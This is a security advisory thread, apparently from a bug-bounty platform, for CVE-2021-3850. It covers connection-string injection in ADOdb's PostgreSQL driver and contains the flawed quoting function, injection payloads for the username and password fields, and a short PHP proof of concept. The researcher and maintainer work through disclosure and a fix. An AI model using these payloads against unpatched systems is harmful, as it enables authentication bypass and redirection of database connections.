Authentication Bypass by Primary Weakness in adodb/adodb

0

Valid Reported on Oct 28th 2021

Description

An attacker can inject values into the PostgreSQL connection string by bypassing adodb_addslashes() . The function can be bypassed in phppgadmin for example by surrounding the username in quotes and submitting with other parameters injected in between.

Proof of Concept

I'm going to use phppgadmin as an example of a project that this effects.
When a user goes to login the username and password are passed to this function before reaching pg_connect()

```
function adodb_addslashes($s)
{
    $len = strlen($s);
    if ($len == 0) return "''";
    if (strncmp($s,"'",1) === 0 && substr($s,$len-1) == "'") return $s; //

    return "'".addslashes($s)."'";
}
```

An attacker can login with a username of: `'testinguser' host='1.3.3.7'` and the phppgadmin will login but be connected to `1.3.3.7` .

Impact

In the context of phppgadmin getting past the login panel opens up a lot more possibilities for functions to exploit. It can also reveal the backend IP of a server. I was unable to find anything other than the host parameter to inject into the connection string that was interesting.
This bypass also allows an attacker to use default logins that would otherwise be blocked in phppgadmin (the password part here could by bypassed by using `'' lol=''` as a password)

```
$bad_usernames = array('pgsql', 'postgres', 'root', 'administrator');
$username = strtolower($server_info['username']);

if ($server_info['password'] == '' || in_array($username, $bad_usernames))
   unset($_SESSION['webdbLogin'][$_REQUEST['server']]);
   $msg = $lang['strlogindisallowed'];
   include('./login.php');
   exit;
}
```

CVE
CVE-2021-3850
(Published)

Vulnerability Type
CWE-305: Authentication Bypass by Primary Weakness

Severity
Critical (9.1)

Visibility
Public

Status
Fixed

Found by

meme-lord
@meme-lord
unranked

Fixed by

Damien Regad
@dregad
maintainer

This report was seen 877 times.

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

Damien Regad a year ago — Maintainer

Many thanks for the report.

I can confirm the vulnerability, which goes all the way back to the oldest version of the PostgreSQL driver I have in the ADOdb repository (4.65 / 2005).

I'll now check how to properly address the issue.

With regards to your POC, for the record and as far as I can tell, phpPgAdmin are using a customized (and therefore unsupported), very old version of ADOdb so they will have to patch their code manually once I fix this.

```php
<?php
include 'adodb.inc.php';
$db = ADONewConnection('pgsql');

$host_good = 'localhost';
$user_good = 'user';
$password = 'xxxx';
$database = 'dbname';

$user_evil = "'user' host='1.3.3.7'";

$db->connect($host_good, $user_good, $password, $database); // success
$db->connect($host_good, $user_evil, $password, $database); // !!!
```

Damien Regad validated this vulnerability a year ago

meme-lord has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

meme-lord a year ago — Researcher

Ok, I'll send them a separate report once there's a fix although they have yet to respond to my other reports.

Damien Regad a year ago — Maintainer

Did you or are you planning to request a CVE-ID for this ? If so, let me know the number, otherwise I can take care of it.

How would you like to be credited for the finding ?

meme-lord a year ago — Researcher

I have not applied for a CVE for this. I would like to be credited as `Emmet Leahy of Sorcery Ltd` . I'll request on the CVE to add a link to a writeup on my blog or something after it's fixed.

Damien Regad a year ago — Maintainer

@admin
Submitting a patch using my fork of the repository will effectively make it (and the vulnerability) available to the general public...

Is there some way to submit a patch in a more private manner ?

The alternative would be to just delay submitting the patch to you until hotfix releases are out, but I'd prefer to give the researcher a chance to test and confirm it effectively addresses the issue.

Jamie Slome a year ago — Admin

@dregad - thanks for your question! 👍

Once a fix has been confirmed against the report, it will be made public. This is done using the `confirm fix` button on the page.

I can see that you have already discussed this partially with Adam over Chatwoot, and so will go ahead and assign a CVE number for this report.

Once you are ready to publish this report and the CVE, let us know, so we can make both the CVE & report visible.

Jamie Slome a year ago — Admin

CVE-2021-3850 has now been assigned to this report! 🎉

Let me know if you have any further questions @dregad, and happy to support.

Damien Regad a year ago — Maintainer

I thought this would be a good opportunity to test Github's Security Advisories feature which, as I have just found out, allows to create a *private repository* to collaborate on the patch without disclosing it.

@meme-lord can you please confirm that you are using the same user ID on Github (and if not, give me your Github username) so I can grant you access to the temporary private repo ?

meme-lord a year ago — Researcher

My Github username is meme-lord, same as here

Damien Regad marked this as fixed in **5.20.21** with commit **952de6** a year ago

Damien Regad has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation